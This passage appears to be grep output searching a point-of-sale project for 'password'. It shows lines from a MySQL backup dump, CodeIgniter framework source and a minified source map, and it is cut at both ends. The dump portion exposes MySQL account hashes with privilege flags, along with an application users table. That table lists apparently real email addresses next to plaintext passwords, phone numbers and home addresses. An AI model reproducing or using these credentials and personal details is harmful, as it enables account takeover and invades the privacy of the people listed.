03:04:07',0,1,0),('six_pos','accounts','2026-01-03 14:02:09',3,1,0),('six_pos','admin_roles','2026-01-03 14:01:59',1,1,0),('six_pos','admins','2026-01-03 14:01:59',0,1,0),('six_pos','brands','2026-01-03 14:01:59',1,1,0),('six_pos','business_settings','2026-01-03 14:02:49',13,1,0),('six_pos','categories','2026-01-03 14:02:29',2,1,0),('six_pos','companies','2026-01-03 14:01:59',0,1,0),('six_pos','counters','2026-01-03 14:01:59',0,1,0),('six_pos','coupons','2026-01-03 14:01:59',0,1,0),('six_pos','currencies','2026-01-03 14:03:09',119,1,0),('six_pos','customers','2026-01-03 14:01:59',1,1,0),('six_pos','failed_jobs','2026-01-03 14:01:59',0,1,1),('six_pos','migrations','2026-01-03 14:02:19',56,1,0),('six_pos','oauth_access_tokens','2026-01-03 14:01:58',0,1,1),('six_pos','oauth_auth_codes','2026-01-03 14:01:58',0,1,1),('six_pos','oauth_clients','2026-01-03 14:02:39',2,1,1),('six_pos','oauth_personal_access_clients','2026-01-03 14:01:59',1,1,0),('six_pos','oauth_refresh_tokens','2026-01-03 14:01:58',0,1,1),('six_pos','order_details','2026-01-03 14:01:59',0,1,0),('six_pos','orders','2026-01-03 14:01:59',0,1,0),('six_pos','password_resets','2026-01-03 14:01:59',0,1,0),('six_pos','personal_access_tokens','2026-01-03 14:01:59',0,1,2),('six_pos','refunds','2026-01-03 14:01:59',0,1,0),('six_pos','soft_credentials','2026-01-03 14:01:59',0,1,0),('six_pos','suppliers','2026-01-03 14:01:59',1,1,0),('six_pos','transections','2026-01-03 14:01:59',0,1,0),('six_pos','units','2026-01-03 14:02:59',3,1,0),('six_pos','users','2026-01-03 14:01:59',0,1,1),('sys','sys_config','2023-09-22 01:26:37',2,1,0); ./posacct_project/pos_db_backup.sql:-- Table structure for table `password_history` ./posacct_project/pos_db_backup.sql:DROP TABLE IF EXISTS `password_history`; ./posacct_project/pos_db_backup.sql:CREATE TABLE `password_history` ( ./posacct_project/pos_db_backup.sql:-- Dumping data for table `password_history` ./posacct_project/pos_db_backup.sql:LOCK TABLES `password_history` WRITE; ./posacct_project/pos_db_backup.sql:/*!40000 ALTER TABLE `password_history` DISABLE KEYS */; ./posacct_project/pos_db_backup.sql:/*!40000 ALTER TABLE `password_history` ENABLE KEYS */; ./posacct_project/pos_db_backup.sql: `User_password` text CHARACTER SET utf8mb3 COLLATE utf8mb3_bin COMMENT 'The password used to connect to the master.', ./posacct_project/pos_db_backup.sql: `plugin` char(64) COLLATE utf8mb3_bin NOT NULL DEFAULT 'caching_sha2_password', ./posacct_project/pos_db_backup.sql: `password_expired` enum('N','Y') CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL DEFAULT 'N', ./posacct_project/pos_db_backup.sql: `password_last_changed` timestamp NULL DEFAULT NULL, ./posacct_project/pos_db_backup.sql: `password_lifetime` smallint unsigned DEFAULT NULL, ./posacct_project/pos_db_backup.sql:INSERT INTO `user` VALUES ('%','emp_tracker_user','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'caching_sha2_password','$A$005$D 23[h]=9v bv_q:`yXFz5sFDvvZJuHebnDm1.2Ztoobj30aGyymLNas.8g4D','N','2025-10-19 21:05:43',NULL,'N','N','N',NULL,NULL,NULL,NULL),('%','gfadev','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','N','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'caching_sha2_password','$A$005$\". 2hOW(\nBiT05+.P2wvYKVhuSdJaNoyb2vfU2BNDUg8k4KPWrce2bHx.DF8','N','2025-06-23 13:46:39',NULL,'N','Y','Y',NULL,NULL,NULL,NULL),('%','repl','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','Y','Y','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'mysql_native_password','*4F15AF656EAFD7A46812AA6C3CAD866C865F120A','N','2025-07-07 13:26:11',NULL,'N','N','N',NULL,NULL,NULL,NULL),('localhost','debian-sys-maint','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'caching_sha2_password','$A$005$U`\"}R0!HgFR}U=4MS\"SPGb6BjT9OpfJCVxyR/OLW9eiQRObLJf.VJoBdaJo8/','N','2023-09-22 01:26:38',NULL,'N','Y','Y',NULL,NULL,NULL,NULL),('localhost','ems_user','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'caching_sha2_password','$A$005$\ZPN_,21N]Ex%(kB?@EuHM1KEm7VLFoAMN8KOPlUtwqFjP5U2ZCQXlY22fo8wB','N','2025-10-20 21:20:26',NULL,'N','N','N',NULL,NULL,NULL,NULL),('localhost','gfadev','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'caching_sha2_password','$A$005$8LW#l)(~6M\"t!VJ_ZH0JqRmlzpG8PGXIOJ3Vz4xsBjypyBqpa6weP70UfewD','N','2023-09-22 04:03:33',NULL,'N','Y','Y',NULL,NULL,NULL,NULL),('localhost','mysql.infoschema','Y','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'caching_sha2_password','$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED','N','2023-09-22 01:26:37',NULL,'Y','N','N',NULL,NULL,NULL,NULL),('localhost','mysql.session','N','N','N','N','N','N','N','Y','N','N','N','N','N','N','N','Y','N','N','N','N','N','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'caching_sha2_password','$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED','N','2023-09-22 01:26:37',NULL,'Y','N','N',NULL,NULL,NULL,NULL),('localhost','mysql.sys','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','N','','','','',0,0,0,0,'caching_sha2_password','$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED','N','2023-09-22 01:26:37',NULL,'Y','N','N',NULL,NULL,NULL,NULL),('localhost','root','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'auth_socket','','N','2023-09-22 01:26:37',NULL,'N','Y','Y',NULL,NULL,NULL,NULL); ./posacct_project/pos_db_backup.sql: `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL, ./posacct_project/pos_db_backup.sql:INSERT INTO `users` VALUES (1,'admin@admin.com','1234567890','Admin User','1234567890',NULL,'admin','2025-10-24 16:09:09',1,'2025-12-28 05:28:42'),(2,'l@gmail.com','password.00','k','123456789',NULL,'customer','2025-10-24 16:11:38',1,'2025-10-24 17:57:23'),(3,'k@gmail.com','QWERTY','k','12345','multan','customer','2025-10-24 17:10:15',1,'2025-11-05 12:21:43'),(6,'bonash@gmail.com','bonash','Bonash','12345',NULL,'restaurant','2025-10-24 17:43:10',1,'2026-02-19 03:40:43'),(7,'aznali@gmail.com','bonash','Ali','123456',NULL,'restaurant','2025-10-31 03:52:45',1,'2025-11-09 03:28:14'),(9,'kofabi6652@magpit.com','qwerty','AZNASH','12434',NULL,'delivery','2025-11-03 11:16:40',1,'2025-11-03 11:51:19'),(10,'kofabi6652@magpit.co','qwerty','Azn','1234567',NULL,'delivery','2025-11-03 12:52:03',1,'2025-11-16 14:24:53'),(11,'s2@gmail.com','qwerty','AZNASH','12434','Pakistan','customer','2025-11-04 02:55:40',1,'2026-02-14 03:41:46'),(20,'shan1@gmail.com','qwerty','Ahmad','123456',NULL,'restaurant','2025-11-05 11:27:38',1,NULL),(21,'siusarboy@gmail.com','1234567890','mycustomer','4159387930','10013, Manhattan, New York County, New York, United States','customer','2025-11-06 02:08:51',1,'2025-11-18 03:18:00'),(22,'sanmiwagoinc@gmail.com','1234567890','mypizzahut','4159387930',NULL,'restaurant','2025-11-06 02:10:26',1,'2025-11-14 03:00:34'),(23,'siusarboy3@gmail.com','1234567890','mydriver','4159387930',NULL,'delivery','2025-11-06 02:12:25',1,'2025-11-14 03:46:14'),(24,'zumarh589@gmail.com','Abc123@*','Urwa','2139738862','10013, Manhattan, New York County, New York, United States','customer','2025-11-18 02:59:08',1,NULL),(25,'techavenzor@gmail.com','Abc123@*','Urwa','2139738862',NULL,'restaurant','2025-12-28 04:03:16',1,'2026-01-13 02:07:16'),(26,'acba2672@gmail.com','Abc123@*','Urwa','2139738862','265 Canal St., STE 304, New york, NY 10013','customer','2025-12-28 04:16:05',1,'2026-02-12 01:33:23'),(27,'undefinedsoul319@gmail.com','Abc123@*','Rider','2139738862',NULL,'delivery','2025-12-28 04:17:58',1,'2025-12-28 05:43:24'); ./posacct_project/pos_db_backup.sql: `password` varchar(100) DEFAULT NULL, ./posacct_project/pos_db_backup.sql: `password` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL, ./posacct_project/pos_db_backup.sql: `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, ./posacct_project/pos_db_backup.sql:INSERT INTO `migrations` VALUES (1,'2014_10_12_000000_create_users_table',1),(2,'2014_10_12_100000_create_password_resets_table',1),(3,'2019_08_19_000000_create_failed_jobs_table',1),(4,'2019_12_14_000001_create_personal_access_tokens_table',1),(5,'2021_11_02_095022_create_business_settings_table',1),(6,'2021_11_02_114801_create_admins_table',1),(7,'2021_11_03_044923_create_categories_table',1),(8,'2021_11_03_090927_create_brands_table',1),(9,'2021_11_03_101237_create_products_table',1),(10,'2021_11_06_025604_create_currencies_table',1),(11,'2021_11_06_031804_create_orders_table',1),(12,'2021_11_06_084528_create_order_details_table',1),(13,'2021_11_08_094042_create_customers_table',1),(15,'2021_11_11_051704_create_coupons_table',1),(16,'2021_11_13_100539_create_units_table',1),(17,'2021_11_17_034203_create_accounts_table',1),(20,'2021_11_17_083502_create_transections_table',2),(21,'2021_11_09_064445_create_suppliers_table',3),(22,'2021_06_17_054551_create_soft_credentials_table',4),(23,'2021_12_01_141901_add_phone_col_admin',4),(24,'2021_12_02_092539_add_image_to_admin_tables',4),(25,'2016_06_01_000001_create_oauth_auth_codes_table',5),(26,'2016_06_01_000002_create_oauth_access_tokens_table',5),(27,'2016_06_01_000003_create_oauth_refresh_tokens_table',5),(28,'2016_06_01_000004_create_oauth_clients_table',5),(29,'2016_06_01_000005_create_oauth_personal_access_clients_table',5),(30,'2022_02_06_115834_create_companies_table',5),(31,'2022_02_06_121739_add_company_id_col_admin',5),(32,'2022_02_06_150041_add_company_id_category',5),(33,'2022_02_06_151731_add_company_id_brand',5),(34,'2022_02_06_152243_add_company_id_accounts',5),(35,'2022_02_06_152301_add_company_id_coupon',5),(36,'2022_02_06_152323_add_company_id_users',5),(37,'2022_02_06_152357_add_company_id_orders',5),(38,'2022_02_06_152412_add_company_id_order_details',5),(39,'2022_02_06_152429_add_company_id_products',5),(40,'2022_02_06_152453_add_company_id_suppliers',5),(41,'2022_02_06_152515_add_company_id_transactions',5),(42,'2022_02_06_152943_add_company_id_units',5),(43,'2022_02_06_154752_add_company_id_customers',5),(44,'2022_02_06_160446_add_company_id_business_settings',5),(45,'2022_06_19_194943_rename_columns_to_coupons_table',5),(46,'2024_01_24_175057_create_admin_roles_table',6),(47,'2024_01_24_183027_add_to_col_admin_table',6),(48,'2024_09_24_132001_create_counters_table',7),(49,'2024_09_24_161729_add_counter_id_in_orders_table',7),(50,'2025_01_27_171536_add_order_status_to_orders_table',8),(51,'2025_01_30_164219_create_refunds_table',8),(52,'2025_06_24_101316_add_description_in_categories_table',9),(53,'2025_07_03_114849_add_description_reorder_level_status_available_time_started_at_available_time_ended_at_to_products_table',9),(54,'2025_07_03_115731_add_description_status_to_brands_table',9),(55,'2025_07_06_162913_add_status_to_units_table',9),(56,'2025_07_09_154520_make_image_column_nullable_in_categories_table',9),(57,'2025_07_09_161537_make_image_column_nullable_in_brands_table',9),(58,'2025_07_14_102519_add_admin_payment_method_customer_payout_method_other_payment_details_to_refunds_table',9),(59,'2025_07_23_133254_rename_walking_customer_to_walk_in_customer_in_customers_table',9); ./posacct_project/pos_db_backup.sql: `password_client` tinyint(1) NOT NULL, ./posacct_project/pos_db_backup.sql:-- Table structure for table `password_resets` ./posacct_project/pos_db_backup.sql:DROP TABLE IF EXISTS `password_resets`; ./posacct_project/pos_db_backup.sql:CREATE TABLE `password_resets` ( ./posacct_project/pos_db_backup.sql: KEY `password_resets_email_index` (`email`) ./posacct_project/pos_db_backup.sql:-- Dumping data for table `password_resets` ./posacct_project/pos_db_backup.sql:LOCK TABLES `password_resets` WRITE; ./posacct_project/pos_db_backup.sql:/*!40000 ALTER TABLE `password_resets` DISABLE KEYS */; ./posacct_project/pos_db_backup.sql:/*!40000 ALTER TABLE `password_resets` ENABLE KEYS */; ./posacct_project/pos_db_backup.sql: `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, ./posacct_project/posacct/pos/ci_3.1.13/database/DB_driver.php: public $password; ./posacct_project/posacct/pos/ci_3.1.13/database/DB.php: * $dsn = 'driver://username:password@hostname/database'; ./posacct_project/posacct/pos/ci_3.1.13/database/DB.php: 'password' => isset($dsn['pass']) ? rawurldecode($dsn['pass']) : '', ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/cubrid/cubrid_driver.php: return ($matches[2] === '' && $matches[3] === '' && $this->username !== '' && $this->password !== '') ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/cubrid/cubrid_driver.php: ? $func($this->dsn, $this->username, $this->password) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/cubrid/cubrid_driver.php: ? $func($this->hostname, $this->port, $this->database, $this->username, $this->password) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/pdo/pdo_driver.php: return new PDO($this->dsn, $this->username, $this->password, $this->options); ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/pdo/subdrivers/pdo_pgsql_driver.php: empty($this->password) OR $this->dsn .= ';password='.$this->password; ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/postgre/postgre_driver.php: /* An empty password is valid! ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/postgre/postgre_driver.php: * $db['password'] = NULL must be done in order to ignore it. ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/postgre/postgre_driver.php: $this->password === NULL OR $this->dsn .= "password='".$this->password."' "; ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/postgre/postgre_driver.php: * postgre://username:password@localhost:5432/database?connect_timeout=5&sslmode=1 ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/sqlite3/sqlite3_driver.php: return ( ! $this->password) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/sqlite3/sqlite3_driver.php: : new SQLite3($this->database, SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, $this->password); ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/ibase/ibase_driver.php: ? ibase_pconnect($this->hostname.':'.$this->database, $this->username, $this->password, $this->char_set) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/ibase/ibase_driver.php: : ibase_connect($this->hostname.':'.$this->database, $this->username, $this->password, $this->char_set); ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/ibase/ibase_driver.php: if (($service = ibase_service_attach($this->hostname, $this->username, $this->password))) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/ibase/ibase_utility.php: if ($service = ibase_service_attach($this->db->hostname, $this->db->username, $this->db->password)) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/oci8/oci8_driver.php: ? $func($this->username, $this->password, $this->dsn) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/oci8/oci8_driver.php: : $func($this->username, $this->password, $this->dsn, $this->char_set); ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/mysql/mysql_driver.php: ? mysql_pconnect($this->hostname, $this->username, $this->password, $client_flags) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/mysql/mysql_driver.php: : mysql_connect($this->hostname, $this->username, $this->password, TRUE, $client_flags); ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/mssql/mssql_driver.php: ? mssql_pconnect($this->hostname, $this->username, $this->password) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/mssql/mssql_driver.php: : mssql_connect($this->hostname, $this->username, $this->password); ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/mysqli/mysqli_driver.php: if ($this->_mysqli->real_connect($hostname, $this->username, $this->password, $this->database, $port, $socket, $client_flags)) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/sqlsrv/sqlsrv_driver.php: 'PWD' => empty($this->password) ? '' : $this->password, ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/sqlsrv/sqlsrv_driver.php: // If the username and password are both empty, assume this is a ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/odbc/odbc_driver.php: ? odbc_pconnect($this->dsn, $this->username, $this->password) ./posacct_project/posacct/pos/ci_3.1.13/database/drivers/odbc/odbc_driver.php: : odbc_connect($this->dsn, $this->username, $this->password); ./posacct_project/posacct/pos/ci_3.1.13/libraries/Xmlrpc.php: * Server password ./posacct_project/posacct/pos/ci_3.1.13/libraries/Xmlrpc.php: public $password; ./posacct_project/posacct/pos/ci_3.1.13/libraries/Xmlrpc.php: $this->password = $url['pass']; ./posacct_project/posacct/pos/ci_3.1.13/libraries/Xmlrpc.php: .(isset($this->username, $this->password) ? 'Authorization: Basic '.base64_encode($this->username.':'.$this->password).$r : '') ./posacct_project/posacct/pos/ci_3.1.13/libraries/Session/drivers/Session_redis_driver.php: 'password' => preg_match('#auth=([^\s&]+)#', $matches[3], $match) ? $match[1] : NULL, ./posacct_project/posacct/pos/ci_3.1.13/libraries/Session/drivers/Session_redis_driver.php: elseif (isset($this->_config['save_path']['password']) && ! $redis->auth($this->_config['save_path']['password'])) ./posacct_project/posacct/pos/ci_3.1.13/libraries/Cache/drivers/Cache_redis.php: 'password' => NULL, ./posacct_project/posacct/pos/ci_3.1.13/libraries/Cache/drivers/Cache_redis.php: if (isset($config['password']) && ! $this->_redis->auth($config['password'])) ./posacct_project/posacct/pos/ci_3.1.13/libraries/Ftp.php: public $password = ''; ./posacct_project/posacct/pos/ci_3.1.13/libraries/Ftp.php: return @ftp_login($this->conn_id, $this->username, $this->password); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * PHP ext/standard/password compatibility package ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @link https://secure.php.net/password ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php:if ( ! function_exists('password_get_info')) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * password_get_info() ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @link http://php.net/password_get_info ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: function password_get_info($hash) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php:if ( ! function_exists('password_hash')) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * password_hash() ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @link http://php.net/password_hash ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @param string $password ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: function password_hash($password, $algo, array $options = array()) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: trigger_error('password_hash(): Unknown hashing algorithm: '.(int) $algo, E_USER_WARNING); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: trigger_error('password_hash(): Invalid bcrypt cost parameter specified: '.(int) $options['cost'], E_USER_WARNING); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: trigger_error('password_hash(): Provided salt is too short: '.$saltlen.' expecting 22', E_USER_WARNING); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: log_message('error', 'compat/password: Error while trying to use random_bytes(): '.$e->getMessage()); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: log_message('error', 'compat/password: Unable to open '.$dev.' for reading.'); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: log_message('error', 'compat/password: Error while reading from '.$dev.'.'); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: log_message('error', 'compat/password: openssl_random_pseudo_bytes() set the $cryto_strong flag to FALSE'); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: log_message('error', 'compat/password: No CSPRNG available.'); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: return (strlen($password = crypt($password, sprintf('$2y$%02d$%s', $options['cost'], $options['salt']))) === 60) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: ? $password ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php:if ( ! function_exists('password_needs_rehash')) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * password_needs_rehash() ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @link http://php.net/password_needs_rehash ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: function password_needs_rehash($hash, $algo, array $options = array()) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: $info = password_get_info($hash); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php:if ( ! function_exists('password_verify')) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * password_verify() ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @link http://php.net/password_verify ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: * @param string $password ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: function password_verify($password, $hash) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: if (strlen($hash) !== 60 OR strlen($password = crypt($password, $hash)) !== 60) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/password.php: $compare |= (ord($password[$i]) ^ ord($hash[$i])); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: * @param string $password ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: function hash_pbkdf2($algo, $password, $salt, $iterations, $length = 0, $raw_output = FALSE) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: // Pre-hash password inputs longer than the algorithm's block size ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: if (isset($block_sizes[$algo], $password[$block_sizes[$algo]])) ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: $password = hash($algo, $password, TRUE); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: $key = $derived_key = hash_hmac($algo, $salt.pack('N', $bi), $password, TRUE); ./posacct_project/posacct/pos/ci_3.1.13/core/compat/hash.php: $derived_key ^= $key = hash_hmac($algo, $key, $password, TRUE); ./posacct_project/posacct/pos/ci_3.1.13/core/CodeIgniter.php: require_once(BASEPATH.'core/compat/password.php'); ./posacct_project/posacct/pos/ci_3.1.13/helpers/form_helper.php:if ( ! function_exists('form_password')) ./posacct_project/posacct/pos/ci_3.1.13/helpers/form_helper.php: * Identical to the input function but adds the "password" type ./posacct_project/posacct/pos/ci_3.1.13/helpers/form_helper.php: function form_password($data = '', $value = '', $extra = '') ./posacct_project/posacct/pos/ci_3.1.13/helpers/form_helper.php: $data['type'] = 'password'; ./posacct_project/posacct/pos/ci_3.1.13/language/english/ftp_lang.php:$lang['ftp_unable_to_login'] = 'Unable to login to your FTP server. Please check your username and password.'; ./posacct_project/posacct/pos/ci_3.1.13/language/english/email_lang.php:$lang['email_no_smtp_unpw'] = 'Error: You must assign a SMTP username and password.'; ./posacct_project/posacct/pos/ci_3.1.13/language/english/email_lang.php:$lang['email_smtp_auth_pw'] = 'Failed to authenticate password. Error: %s'; ./posacct_project/posacct/pos/assets/AdminLTE-3.2.0/plugins/pdfmake/pdfmake.min.js.map:{"version":3,"file":"pdfmake.min.js","mappings":"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